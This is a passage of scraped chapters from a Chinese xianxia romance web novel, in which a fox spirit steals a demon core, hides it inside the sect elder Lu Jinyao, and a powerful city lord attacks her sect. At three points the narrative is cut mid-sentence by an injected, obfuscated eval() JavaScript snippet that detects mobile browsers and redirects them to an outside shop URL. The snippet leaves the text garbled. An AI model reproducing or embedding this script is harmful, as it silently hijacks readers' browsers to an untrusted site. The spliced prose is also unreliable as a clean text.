脑海里响起嘲笑他的声音,“你太没用了。” 晏青山磨了磨牙,很想把身体里的神魂抓出来打一顿。 “你有本事,你来。” “那就把身体控制权给我。” 狭长的狐狸眼眯起来,勾出一抹笑。他当晏尘微会有什么好办法呢,原来打的是这个主意。 “做梦。” 他回味着先前给陆尽遥渡去力量时,还有被她捏尾巴那会,她给自己带来的感觉,很舒服。 狐生十几年,从没有过这样的感觉。 本来他只打算解除循环就走,但现在他改变主意了。 晏尘微这么想要他身体的控制权,不就是想和陆尽遥双修。 一开始他也没想过与陆尽遥双修,假装被抓住,勾引她,不过是不想一直陷入循环。 发现自己可以开启循环后,看着陆尽遥一次次陷入循环越来越烦躁的样子,觉得好玩。 那种能掌控一个人喜怒的感觉,非常的爽。尤其是在晏尘微那屡次吃瘪,他就只能在陆尽遥这找回快乐。 但刚才被陆尽遥那么碰过后,他有点上瘾,还想被碰。 晏青山又说出了那句话:“要不要和我打个赌,她会与我双修。” 之前晏尘微没有答应,这次他答应了。 “好。” 晏青山凝出干净的衣裳,胸膛光洁无一点伤痕。 陆尽遥走了,他也没必要留在这,还有件事没有处理干净,他得去做。 摘星阁少了两人,安静得一点声音都没有。 陆尽遥本来是打算去赤阴府找那家伙,半路上心脉又有堵塞的迹象,她只能打道回府。 现在她一动用灵力,心脉就会堵塞,而现在她的心脉已经堵了一大半,等完全堵塞,她就会成为废人。 心脉是灵脉中最为重要的一块,修补起来尤为困难。堵塞后会渐渐连同灵府一起碎裂,那感觉,痛不欲生。 前世有晏尘微的力量慢慢缓解堵塞的情况,但现在她不采补他,得快些找到替代他的人。 合欢宗唯一的渡劫期在闭关,她也没办法把姬如墨叫出来,那只能先试试别的弟子。 她去悬赏阁选了个看着顺眼的弟子,带着他去了摘星阁。 那弟子受宠若惊,都不知道要怎么做。 陆尽遥见他拘束地站在门口,冲他挑眉:“站在那干什么,过来。” 弟子努力镇定下来,然而走路的时候腿脚发软。他知道陆长老很大方,一般被她采补过后都会被赏很多东西,但他怕啊! 怕自己没表现好,惹她不高兴。 磨磨蹭蹭半天没走过去。 陆尽遥没了耐心,隔空把人抓过来,直接运功吸取他的力量。 弟子错愕,还以为会和她双修。 陆尽遥可不是见到谁都会去双修,修合欢道最好的途径是双修,但那是对修为低的修士而言。 到她这样的修为,除开与高自己几个等阶的高阶修士双修,效果都没有直接吸取力量好。 陆尽遥本来以为弟子的修为没有那只九尾狐高,至少也有点效果。 结果她一吸收那弟子的力量,石沉大海,一点效果都没有。 甚至没有感觉到一丁点的力量涌入自己身体。 她松了手,再次尝试,还是一样的结果。 见鬼了。 陆尽遥收回手,让他走。 弟子惶恐,赶紧问:“陆长老,是弟子哪里没有做好吗?” 陆尽遥摆了摆手,没解释,弟子不敢多问,赶紧离开。 他一回去,弟子们全都围上来,叽叽喳喳问:“怎么样,和陆长老双修的感觉是不是很爽?” 陆尽遥明确表示不会收合欢宗任何一个弟子为炉鼎,他们都知道她不会与他双修,但还是这么问。 弟子本来想老实说陆长老没有碰自己,但见周围羡慕嫉妒的眼神,他虚荣心作祟,没有说实话。 “陆长老对我很温柔。” 话音刚落,一道冷嗤从门口传来,艳羡的声音潮水般退去。 “这么快就回来,陆长老真与你双修了?” 那弟子一见来人,面色骤变,心虚地移开目光,找了个借口赶紧走了。 来的人是合欢宗宗主沧溟的首席弟子洛泽,年纪轻轻就已经是元婴,宗内都在传他会是下一任宗主。 整个合欢宗无人不知,洛泽倾慕陆尽遥,但陆尽遥早就拒绝了。 见他来,其余弟子纷纷低头,喊了一声:“大师兄。” 洛泽眼一扫,低喝一声:“再被我听见你们造谣,都给我滚戒律堂去。” 弟子们浑身一颤,不敢再说一句话。 “散了吧。” 眨眼间殿内一空,洛泽离开,去了宗主殿。 殿内茶香袅袅,主座之上正坐着一鹤发童颜的男人,端起茶盏眯着眼细细品尝,头也不抬,出口道:“好徒儿,来找为师有什么事啊。” 洛泽抱拳行礼,“弟子方才遇见陆长老提了个弟子去摘星阁,不到一刻钟那弟子回来,想来那名弟子帮不到陆长老。” 沧溟缓缓放下茶盏,抬眼望向自己的好徒儿。 长得不错,身量板正,不少女修都爱慕他,他倒好,一颗心吊死在陆尽遥身上。 当初没当得成陆尽遥的徒弟,他还不高兴呢。 “你想做什么?” 洛泽微微躬身,“既然那名弟子帮不到陆长老,那就该挑选更合适的弟子去。” 沧溟眯起眼,身体往后一靠。你小子,还惦记着陆尽遥呢。 “她最近是在准备突破元婴,你也是元婴修为,帮不到她。”他直接拒绝了。 洛泽面不改色道:“弟子知道,整个宗门也没有几个弟子修为在元婴之上,与陆长老双修确实没什么效果,但陆长老可以多吸取几名弟子的力量,吸取的多了,或许比双修还要管用。” 沧溟心里嘿呦一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092861|195512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声,颇为头疼。 他若是不答应,这小子能在他面前说上几个时辰。 比起被这小子缠着几个时辰不放,被陆尽遥找上门来骂几句倒是显得轻松多了。 沧溟摆了手,“随你随你。” 洛泽行礼,“弟子遵命。” 沧溟嘴角一抽,还遵命,这是他的命令吗? 他等了一会,见自己的好徒儿还没走,挑眉问:“还有事?” “前日外猎的弟子抓到一只九尾狐,陆长老似乎并不喜欢,叫人赶出了宗。” 沧溟心说不对啊,他听到的版本是陆尽遥为了这只九尾狐,差点和忘忧君打起来。 “然后呢?” 洛泽道:“弟子觉得以外猎弟子的修为,不可能抓到九尾狐。妖兽生性狡诈,许是故意伪装成受伤被抓,好潜入合欢宗,接近陆长老。” 沧溟是听出他话里的意思了,“他不是被赶出去了吗,宗门内也没出什么事,暂时不用管。” 怕好徒儿又要说什么,他赶紧加了句:“下次他若是还出现,你就抓了他。” “弟子领命。” 沧溟摆摆手,让他没事就走。 洛泽这回一句话都没说,转身离开。 沧溟等他身影消失不见,端起茶盏美滋滋饮了一口,“陆尽遥啊陆尽遥,你看你,当初你要是收了洛泽当徒弟,我这么些年,不知道得有多快活。” “何至于你一与谁接触,洛泽就跑我这告状。” 沧溟眼珠子一转,笑出来,“不过这样也好,激励他修炼,合欢宗里没有一名弟子像他这样,不靠双修都能炼到元婴,这修炼天赋,啧啧,旁人望尘莫及啊。” “人家为你守身如玉,你流连花草丛中,现在竟然连九尾狐都不要,等他修为超过你我,我可不敢保证他会不会对你来硬的。” 陆尽遥是不知道这两人的对话,她百思不得其解,为什么吸收弟子的力量不管用,明明不久前她刚吸收了晏尘微的力量,效果很明显。 难道是那弟子修为太弱,比不上晏尘微? 不对,再弱也不可能连一丁点力量都感觉不到。 她思来想去,忽然发现前世自从采补晏尘微后,就再没碰过其他人,以至于那三年都在用他的妖力修复心脉。 不会是她吸取的妖力时间太长,受到影响,以后就只能吸收妖力了吧? 她转头就去抓只妖兽来试试。 正好错过洛泽带人来摘星阁,守门的弟子说陆尽遥不在,他沉默了会,直接带人在一旁候着。 “我等在此处等候陆长老归来。” 守门的弟子多看了洛泽两眼,没忍住在心里将他和晏青山比较。 相比洛泽师兄这冷冰冰的样,他还是觉得那只九尾狐更讨人喜欢,主要是长得好看啊! 他觉得长得好看的那只九尾狐现在在赤阴府。 晏青山要拿回族长的妖丹,而这颗妖丹在墨尤的寝殿,这是他之前就查到的。 一个月前赤阴府来妖界抓九尾狐时,他虽有晏尘微提醒早做了准备,但还是死了几只妖兽。九尾狐族族长就是其中之一,赤阴府带走了他。 妖丹蕴含妖兽所有的力量,而刚出生的九尾狐妖丹天生就拥有强大的力量,被炼化后,足以使人族修士从炼气期一路飙升到金丹巅峰,更别提族长这种修炼百余年妖兽的妖丹。 妖族所有妖兽死后,妖丹都会传给族人,以此继承力量。 不论如何,他都会把妖丹拿回来。 就算是摧毁,也不能让赤阴府那帮狗东西拿去提升修为,反过来再迫害妖族。 况且他还需要借这颗妖丹,来赢得和晏尘微的赌约。 有妖丹在,他不信陆尽遥不与自己双修。 11. 第 11 章 赤阴府乃修真界第一仙府,其势力占据修真界半边天。 这偌大的仙府,只有两个字能形容:“奢侈”。 白玉铺设的路面,各种在赤阴府外难求的矿材建造的房屋,每隔一段距离用灵石雕刻的装饰物外溢着纯净的灵气。 晏青山之前没来过赤阴府,见到这些也不觉得稀奇,他在妖界的宫殿可比这还要奢侈。 晏尘微很熟悉城主府的机关,晏青山几乎没费什么力气就进了墨尤的寝殿。 他很好奇,“你怎么会这么熟悉这里?” 晏尘微没有告诉他,前世赤阴府来袭,抓走很多妖兽,他为了将他们的妖丹带回来,一个月的时间不知闯了多少次赤阴府。 有几次差点回不来。 没有得到回应,晏青山闭上嘴,仔细打量四周。 墨尤的寝殿堪比小型王宫,赤阴府的财力确实雄厚,寝殿内几乎每一块东西都由灵石建造,灵气是殿外的几十倍。 晏青山边去晏尘微指向的地方,边吸收灵力,方才渡给陆尽遥时消耗了将近十分之一妖力。 “她还挺能吸。” 妖丹就摆在墨尤的床前,整块灵石雕刻出来的玉床,灵气逼人。 晏青山看着,有点手痒,想砸了。 “赤阴府抓我妖界妖兽剖妖丹,我砸你一张床应该不过分吧。” 他弯起狐狸眼,勾出笑,手起妖力落,玉床碎了个稀巴烂。 再转向被锁在禁阵里的妖丹,血纹构成的三角牢笼覆盖,稍微离得近了,就有一股骇人的气息如针刺般袭来。 晏青山用妖力裹在手上,刚要去撕掉血纹,瞥见自己的手,唇角下压。 这只被陆尽遥打折了的手,刚接回去,又得受伤。 有晏尘微的经验,不用耗费时间寻找解开禁制的法子,他的妖力和手,就是最好的武器。 一只扩大几倍的虚影之手握住血纹,妖力暴涨,将其捏碎,禁制的力量分散无数碎片,刺入要抢走妖丹的那只手。 晏青山的手没有接触到禁制,但瞬间裂开无数道血口,鲜血被他用妖力燃烧殆尽,没有一滴残留在寝殿内。 合体期大能设下的禁制,只要不是本人来,都会触发警报,在晏青山碰到禁制的瞬间,禁制的主人已经察觉到有人在入侵。 城主府上空,一道身影显现,暗红色长袍之下,一张苍老的脸面向寝殿的方位,眨眼间,他的身影闪现到寝殿内。 而那里,只有被粉碎一地的灵石块。 妖丹不见了。 顷刻间整个赤阴府上空回荡含着怒意的声音。 “立刻封锁赤阴府,十二名神阴将镇守传送阵,给我缉拿窃贼!” 晏青山按照晏尘微的指令,在赤阴府被封锁前离开,但很快察觉到追上来的气息。 他低头望着自己被禁制险些废掉的右手,咬牙道:“他的禁制刻在我手上,早晚会被他抓住。” 以他现在的实力,对付合体期的墨尤,无法做到全身而退。 “得靠陆尽遥。” 晏青山哼笑,“她一个元婴,还没有我强,能抵挡得住合体期的墨尤?” 他本来打算先甩开后面的追兵,一听晏尘微的话,改变了主意。 “直接去找陆尽遥,把妖丹给她,不要离开她三米远,他们就无法通过禁制抓到你。” 身后压迫的气息越来越强烈,晏青山没有选择,掐诀往合欢宗而去。 “你怎么知道这么清楚?” 合欢宗标志性的高山映入眼帘,晏青山再在自己身上施加一道口诀,就算屏住所有气息,只要有这道禁制在,都会被追踪到,不过是时间早晚的问题。 他刚回到摘星阁主殿,晏尘微的回答在他脑海中响起,答案令他震惊到险些漏了自己的气息。 “你说,你第一次与她相遇,是在赤阴府?” 他更是惊讶,“你说你被她救了?” 晏青山想通了晏尘微当初为什么能被陆尽遥抓住。 以他的性格,被她救了,那当然会报答啦。 “哇哦,你是田螺狐狸哎。” 故意被她抓到,还被她采补三年不反抗,不是田螺狐狸是什么? 晏尘微让他闭嘴。 晏青山见他吃瘪就高兴,不过发现陆尽遥不仅不在殿内,殿外还多了好几个合欢宗弟子,垮了脸。 不过他没多余的时间垮脸,一股强悍的气息笼罩整个合欢宗,赤阴府的人追上来了。 而现在他没办法去找陆尽遥,整个合欢宗只有主殿里她的气息最浓郁,勉强能盖住他身上禁制追踪。 只能在这等陆尽遥回来。 阴影笼罩合欢宗上空,殿外的几人仰头往上看,只见一艘飞舟悬浮在空中,船体上挂着一杆赤字旗,那是赤阴府的标志。 甲板上站着不下二十名至少元婴期的修士,皆身穿统一赤色铁甲,他们是赤阴府培养的死士,被称作神阴卫。 一旦他们出现,就意味着必定有一场战。 赤阴府虽是第一仙府,但与昆仑仙府比起来,给人的印象是血腥。赤阴府最初也不过是被墨家占据的一处小镇,靠着抢夺掠杀一步步扩大版图,霸占修炼资源,才走到如今的规模。 只要他们愿意,想找借口灭个宗门轻而易举。 他们来,定然没好事。 洛泽神情骤变,拿出传音令传音,通知各个部门,“赤阴府的飞舟来了!” 他说完,带着弟子下山,前去迎敌。 御剑的动作一顿,视线中流光闪过,一道纤细身影出现在他身前,正是他想要见到的陆尽遥。 陆尽遥刚从外面回来,一看到赤阴府的飞舟就知道大事不妙,赶紧回来,刚落地就被什么东西扑倒,直直砸在地上。 洛泽刚要开口喊她,眼前一道残影闪过,就见她被扑倒在地,而她身上,压着一个人。 看清他们姿势的瞬间,洛泽瞳孔骤缩,更反应不过来了。 陆尽遥被撞得咳嗽,下意识要掀开压在身上的人,抬起的手被压了回去。 少年的力气大得出奇,声音却颤着,一个字一个字地往外崩。 “我受伤了,很虚弱。”晏青山压在她身上,唇抵着她耳垂,说话的时候唇一张,像是将她耳垂含在口中。 “我给你一个东西,你要收好,不能给别人。” 陆尽遥只觉得莫名其妙,他有毛病吗把她往地上撞? “你搞什么——” 少年苍白的脸映入眼帘,妖冶的容颜配上这脸色,在才被勾起心底恐惧的陆尽遥看来,像个水鬼。 这个水鬼突然吻了她。 柔然的触感传到大脑的瞬间,某种冰凉的东西滑入她口中,喉间被轻轻一摁,她把那东西吞了下去。 还不等她反应过来,唇被轻轻舔舐。 陆尽遥听到少年低哑的喘息声。 不知道是他被手上的伤疼的,还是舔她的唇与她接触而产生的反应。 陆尽遥张口就咬住他的唇报复回去。 死狐狸精!竟然敢偷袭! 但是陆尽遥忘了一件事,她现在并非是在自己的寝殿。这是在寝殿外,赤阴府的飞舟悬在合欢宗上空,弟子们都在边上,看得目瞪口呆。 她却和晏青山咬上了嘴巴。 意识到这荒谬的事后,陆尽遥一把推开他,起身跪坐在他身上,抬手就要一拳砸他胸口。 她动用了灵力,这一拳下去,晏青山就算不死,也会被她重创。 她的动作在看到少年唇上的血时,顿住了。 少年苍白的面庞上,唇上被她咬出来的牙印分外清晰,他闷声一咳,脆弱的脖颈扬起,血从他口中溢出,看起来尤为虚弱,完全没有反手之力。 陆尽遥忽然觉得这一幕很是熟悉,好似她曾经在同样的地方,见过他伤成这样。 是什么时候,是在哪—— 她混乱的思绪被少年咳嗽的声音打断,她拧眉望着他虚弱的模样,将他扶起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092862|195512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被扶起上半身的少年朝陆尽遥扬起唇角,方要开口,她的气息突然靠近。 狐狸眼爆发出灿烂的光芒,瞳孔扩大,尤为兴奋。 他稍一偏头,看到女子靠近过来,贴着自己的侧脸,稍一低垂眼帘,就能看到她咬过自己的嘴唇,上面还有他的血。 晏青山轻轻嗅了嗅,发达的嗅觉敏锐地捕捉到女子身上的馨香,很香,他又嗅了嗅,身体不由自主地仰起来,朝着她怀里靠。 正当他几乎要贴上她脖颈时,她冰冷的声音砸下来,“你给我吃的东西,是妖丹?” 晏青山嗯了一声,气息很明显不稳,“不可以吐出来。” 正好这颗妖丹蕴含的力量能修复她心脉,暂时用这个来换取接近她的机会。 妖族的东西,吞下去了,他也有方法拿出来。 陆尽遥不知他心中所想,那颗妖丹在她身体里缓缓散发力量,四处游走,往心脉而去。 她本该遏制外界力量接触心脉,但原本堵塞的心脉在接收到这股力量后,竟然有了疏通的迹象。 与她吸收晏尘微的力量产生的效果一模一样。 她神色复杂望着少年唇角的血,刚要说话,被打断。 “陆长老,他们下来了!” 陆尽遥仰头一看,看清那人的瞬间,立刻在晏青山身上施加一道敛息术。 九尾狐身上都是宝,血液、妖丹可炼制成丹药,妖骨可以炼制成法器,皮毛可制作仙衣。 不论是在合欢宗,还是在赤阴府,九尾狐都是人人觊觎的宝物,一旦晏尘微的身份被那人发现,他绝对会被抓去赤阴府。 就算陆尽遥恨他杀了自己,也不愿看到他被赤阴府抓走。 赤阴府于她而言,也是仇敌。 陆尽遥站起身,高声呵道:“我合欢宗犯了什么事,用得着墨大城主亲自来问罪?” 暗红色身影显现在赤阴府上空,一道极具压迫力的气息席卷而来,合体期的威能爆发,碾压着所有人,空气都扭曲。 墨尤浑浊的双眼定格在陆尽遥身上,稍一抬手,神阴卫四散开来,二话不说就抓人。 陆尽遥冷了脸,让身后弟子退后。双手结印,灵力凝聚的剑身一晃,分裂成数把,裹挟着苍茫之势穿入大地,以她为中心,阵法金芒自大地冲上云霄,转瞬间金光大放。 合欢宗弟子虽然修炼的法子与其它宗门不一样,但修炼的法术都是大能传承下来的秘籍,威力不比其余宗门差。 澎湃的力量自半空中凝聚成杀阵,森冷杀意铺天盖地压下来,眨眼间刀光剑影如雨倾洒,闯进来的神阴卫避无可避。 情况紧急,施展出这要耗费巨大灵力的剑阵,陆尽遥没有意识到自己的心脉竟然承受住了。 她继续输出灵力,加固剑阵。 洛泽震惊,阵法金芒刺眼,他看不清里面的女子。 见神阴卫都涌上来,他上前祭出佩剑,帮她加固剑阵。 两名元婴共同作战,每道灵剑都凝聚着强悍的力量,神阴卫结阵抵挡,但结界被攻破硕大的豁口,剑雨如入无人之境,全都涌了进来。 结界碎裂,被击中的神阴卫口吐鲜血,坠了下去。 “都是群废物。” 弟子们拍手叫好,笑容只维持了一秒,瞳孔骤缩,仿佛看见了什么尤为可怕的东西。 墨尤动手了。 仅仅只是稍一动手,陆尽遥的剑阵溃散,恐怖的威压席卷而来,修为弱的动都不能动。 元婴打合体,简直是送死。 陆尽遥咬牙,将剑往地上一插,灵力震荡开,在他们周围施加一层结界。 几乎是结界布下的瞬间,墨尤一击下来,灵剑散去,结界碎裂,她闷哼一声,受到反噬吐出一口血,身子往后倒,一只手托住了她后背。 晏青山面无表情地用那只被险些被粉碎的右手托住陆尽遥,免得她被掀出去。 然后悄悄收了手,在心底龇牙咧嘴。 疼!疼!!疼!!! 12. 第 12 章 在陆尽遥动手时,墨尤在她身上察觉到一缕妖气,神色一凛,目光锁定陆尽遥,再动手时已经用上了杀招。 忽然一道雄厚的钟声响起,迅速传向合欢宗各处。 护宗大阵终于开启,隔绝墨尤的威压,弟子们体会到什么叫做劫后余生。 白发宗主出面,迎上墨尤。 陆尽遥见沧溟来了,暂时不用她一个人扛,收回灵力,站稳。 晏青山动了动右手,疼得眉头一抽,“你取妖丹的时候,右手伤了吗?” “伤得比你还重。” 陆尽遥是不知道他很疼,她低着头,迅速对晏青山说:“不想死就不要看墨尤,待会什么都不要做,也不要说话。” 她的手无意识地握紧,在罡风中发颤。 晏青山察觉到她的异样,盯着她紧抿的唇看,血迹干涸,皱巴巴的,他想把血痂抠了。 “她好像很怕墨尤。” 晏尘微沉默了会,说:“那是她的仇人。” 晏青山低着头,分外听陆尽遥的话,不看墨尤,“墨尤是她的仇人?他做什么了?” “墨尤几乎将合欢宗屠尽。若不是他,陆尽遥不会重伤,急需恢复力量。” 晏青山的脑海中响起一道冷嗤,怨念充斥他的身体。 “她吸走我所有力量后,把我扔进魔渊。” 本来他可以慢慢恢复,但他的力量被全部榨干,短时间内恢复不了,加上那时合欢宗被屠,她直接把他扔了。 在魔渊的那段时间,是他这一生中,最阴暗的时候。 晏青山又一次动了动被禁制所伤的右手,轻轻哦了一声。 他向来有仇必报,否则也不会在被陆尽遥扔进魔渊后,爬回来报仇。 他掀起眼帘,恹恹看着身前半跪着的女子,罡风带起她的发丝打在他脸上,那股馨香随风飘散。 少年缓缓勾了唇,好看的狐狸眼弯起来,眸中全是冷色。 “那得报仇啊。” 他盯着女子后背对应心脏的位置,抬起未受伤的左手。 “你干什么?” 陆尽遥本来想看这只狐狸怎么样了,一转身就见他朝自己伸出爪子,那爪子还做出握拢的姿势,看起来有点像要刺什么东西。 晏青山手还在往前,朝上一指,却是落在她脸上,“想帮你擦血。” 她瞪了他一眼,“别乱动。” 再一看气若悬丝的少年,那冰凉之感停留在喉间不去,她脑子里冒出个荒谬的念头。 他该不会是把他的妖丹,给了她吧? 她仔细打量他,少年像条柳絮,风一刮就飘远。 本来想等解决了赤阴府后再把他赶出合欢宗的念头,也似柳絮一般飘走。 陆尽遥松开他,正要去沧溟那,手腕被握住,人被拉向他,险些压在他身上。 她要发怒,却听到少年惨兮兮地问自己:“你要丢下我吗?” 她扯开那只手,力道没收着,也没注意到他因痛而拧起的眉。 刚要走,忽然想起自己之前为什么觉得晏尘微虚弱的模样很眼熟。 前世她在抓他当炉鼎前,经常去赤阴府,有一次赤阴府发生混乱,她没打算掺和,要走的时候突然在废墟中撞见一少年。 少年满身是血,躺在地上无助地望着她,眼里满是哀求。 她以为他是在求她救他。 陆尽遥脑子一抽就救了,等她把少年送出赤阴府,转头就忘了这回事,站在赤阴府外什么都想不起来。 现在突然想起来,她当时救的就是他! 好你个晏尘微,又摆了她一道! “丢啊,当然丢,等赤阴府一走,我就把你丢进魔渊。”她故意吓他。 少年还真被吓到,身子一颤,往她怀里倒。 陆尽遥一把把人推开,一点怜香惜玉的心思都没有。 晏青山还想再靠回去,就听一道声音说自己坏话,他冷了狐狸眼,斜斜剜过去。 “陆长老,您可以把她交给我,我会处理好。” 是先前在殿外守着的弟子,他站在最前面,比其他弟子修为高,姿色也好。 晏青山从他的眼里看到了对陆尽遥的觊觎,顿时不爽,有一种自己的所有物要被别人抢走的危机感。 他当即用完好的左手抓住陆尽遥的手,“我不要。” 陆尽遥冷哼一声,甩开他,“你再对我动手动脚,我就把你甩给赤阴府。” 晏青山老实了一点,但陆尽遥不看他的时候,他正大光明地与洛泽对视,眼里全都是挑衅。 他无声对洛泽说:“有我在,别想靠近她。” 雄性狐狸对伴侣的占有欲很强,伴侣死后,不会再寻伴侣,甚至会殉情。 或许是受晏尘微影响,就算现在陆尽遥没有与他双修,他潜意识把陆尽遥当成自己的所有物。 有别的雄性妄图接近她,他本能地驱赶。 洛泽缓缓捏紧了手,与他直视,不肯退让。 一狐一人的对视被其他弟子看在眼里,看看面容惨白反倒更显娇艳的少年,再一看面无表情如冰块的洛泽师兄,弟子们心中不约而同冒出同一个念头。 洛泽师兄不是他的对手啊。 突如其来的巨响吓了他们一跳,看到声音传来的方向,瞬间惊惧。 护宗大阵被击开了一道豁口,墨尤还在攻击。 陆尽遥刚要上前去修补,洛泽比她还快,眨眼间与沧溟并立,忘忧君已经在与沧溟一起修补结界。 只撑了一会,结界碎裂,沧溟上前阻拦墨尤,被禁制束缚,忘忧君与洛泽根本没机会动手。 整个合欢宗,修为最高的人是姬如墨,渡劫期巅峰,闭关冲击瓶颈,之后便是沧溟,化神中期,再往下就是陆尽遥这样的元婴。 谁都阻挡不了合体期的墨尤。 沧溟意识到墨尤的目标是陆尽遥时,已经晚了。 “师妹,小心——” 他说的时候,陆尽遥已经感觉到极速逼近的气息,当即转回身戒备。 几乎在她转回去的瞬间,深红色衣袍就来到她视线中。 是墨尤。 他伸手就朝陆尽遥的脖颈抓来,速度快得不可思议,在合体期大能面前,陆尽遥一个元婴,一点反抗的能力都没有。 她被掐着脖颈站起来,很快涨红了脸,呼吸被扼制。 刚要凝聚灵剑,墨尤一个禁制就封了她的灵脉。 “说,你身上的妖气从何而来。” 陆尽遥视线里看到被禁锢的沧溟等人,与她目光相接时,他们满目焦急。 陆尽遥视线移开,转到面前这张苍老的脸上,艰难开口:“我昨晚采补了一只妖兽。” 墨尤没有相信,灵力送入她体内搜寻,被合体期修士探查身体,即便是元婴,也有被摧毁灵脉的风险。 似有一张无形的大手将她禁锢,强悍的灵力冲入她的身体,击碎她的防御屏障,在她身体里搜寻。 这股外来的力量压根就没想过要放过陆尽遥,强横地一次次冲破她在灵脉中竖起的屏障,每一面屏障被冲碎,陆尽遥都要受到灵脉被冲击的阵痛。 她抿紧唇,一声不吭,提起灵力反抗。 正当那股力量要侵入她的心脉时,一股强大浩瀚的禁制之力将其驱逐出去。 森冷之气从陆尽遥身体冲击而出,霎时间罡风骤起,她眉心的朱砂更加红艳,浑身气质冷冽,那一瞬,她身后好似浮现一道虚影,透过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092863|195512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的眼睥睨墨尤。 眼中尽是杀意。 墨尤立刻松手,被陆尽遥身体那股力量攻击得手居然无法抬起,垂在身侧,小指隐隐发颤。 他没料到,这丫头身体里竟然有姬如墨设下的禁制。 姬如墨闭关前,竟然还舍得在她身上耗费将近一半修为,设下威力如此之大的禁制,他失算了。 陆尽遥捂着脖颈咳嗽两声,隐晦地瞥了眼身后的少年,他乖乖坐在那,一动不动,将她的话听进去了。 幸好有师尊的保护禁制在,否则她的命都等不到三年后,就要被墨尤夺走。 正在墨尤打算动手将陆尽遥带走时,更具威慑力的声音穿透每一个人的大脑。 “何人在我合欢宗放肆?” 这声音空旷缥缈,听不出从哪个方向传来,分不清性别,一听到这声音,脑海一空,什么都想不起来了。 神阴卫呆滞着,连攻击护宗大阵都忘了。 而合欢宗所有弟子都朝西方行礼朝拜,恭恭敬敬,合欢宗跪倒一大片。 墨尤心头一震,这声音他认识,乃合欢宗老祖,凌阴真君姬如墨,他与姬如墨几十年前算得上是点头之交,后来产生利益纠纷,未再来往过。 此人修为早在几十年前就是渡劫期,那时他才化神。虽说现在姬如墨依旧未突破渡劫期,但他一个合体期在渡劫期面前,犹如蚍蜉撼树。 已经惊动姬如墨,再搜查下去,把他引出来,怕是收不了场。 墨尤浑浊的眼球滚动,扯出笑来,“凌阴真君,许久不见啊。” 那声音没再响,似乎在等他解释为什么会出现在合欢宗,还伤合欢宗的弟子。 “我赤阴府丢了一件东西,那东西上有我的禁制,一路追踪到此处,在你弟子身上发现了相似的气息,是以我才会动手。” “墨城主找到了?” 墨尤咬牙,他不仅没在陆尽遥体内搜寻到妖丹的存在,还被禁制所伤。 “是我找错了。” 那道声音冷了下来:“既如此,便请墨城主离开,今日你伤本尊弟子的事,本尊可以不追究。” 墨尤朝合欢宗弟子朝拜的方向行礼,“多谢真君。” 那股骇人威压散去,神阴卫回神,发现周围的人全都和自己一样,刚从涣散的状态中回神,心神一悸,后怕不已。 墨尤挺直了身,转向陆尽遥,苍老的皮挂起虚伪的笑:“一年多未见,你这个险些与我儿结为道侣的合欢宗小辈,修为涨得很快,仅凭一己之力就能拦下我那么多神阴卫。” 陆尽遥心里咒骂一声,面上客客气气,“一年多未见,墨城主一来,就要取晚辈的命,晚辈着实惶恐。” 墨尤看她的眼神犹如在看犄角旮旯里的杂草,冷哼一声,半开玩笑半嘲讽道:“凌阴真君很是看中你,渡劫期的设下的禁制,连我这个合体期,都要小心应对。” 陆尽遥回以一笑,“前辈若不强行搜我的身,又怎么会被家师的禁制伤到?” 姬如墨设下的禁制,除非她死,无人可破,当初若不是这禁制保她一命,她早被墨尤杀了。 现在竟然提前保她一命,从她重生后,事情发展越来越偏离前世轨道。 前世哪里有这些事,这个时候她应该在修炼,合欢宗也不会在这个时候遇袭。 想到前世整个合欢宗险些被他灭门,自己也差点死在他手里,陆尽遥恨意从心中起。 在合体期面前,一丝情绪波动都会被察觉到,她不能被墨尤看出异样,眼帘低垂,正要开口赶人走时,却听墨尤目标转向了晏青山。 “他是你合欢宗的弟子吗?怎么没见他穿弟子服?” 陆尽遥心神一惊,抬起眼帘,直直望向墨尤。 13. 第 13 章 “他不是合欢宗弟子,”她说,“他是我的炉鼎。” 说着她勾起唇,故意恶心他:“怎么,墨城主好男风,也想尝尝他的滋味?” 墨尤这样年岁上百的人,思想迂腐,很是重视声誉,怎么可能沾上一丁点不好的谣言。 此话一出,刹那间风骤停,空气都被压缩,气氛凝滞。 墨尤阴毒的眼盯着陆尽遥半晌,冷笑,“伶牙俐齿,当初没同意澜儿与你结为道侣果然是个正确的选择。” 陆尽遥心里翻了个白眼,谁稀罕。 “事情已经明了,墨城主若无要紧事,就请离开合欢宗。”陆尽遥抬手一指被束缚的沧溟等人,提醒墨尤:“别忘了收回您的禁制。” 墨尤一挥手,松开禁制,头也不回地离开。 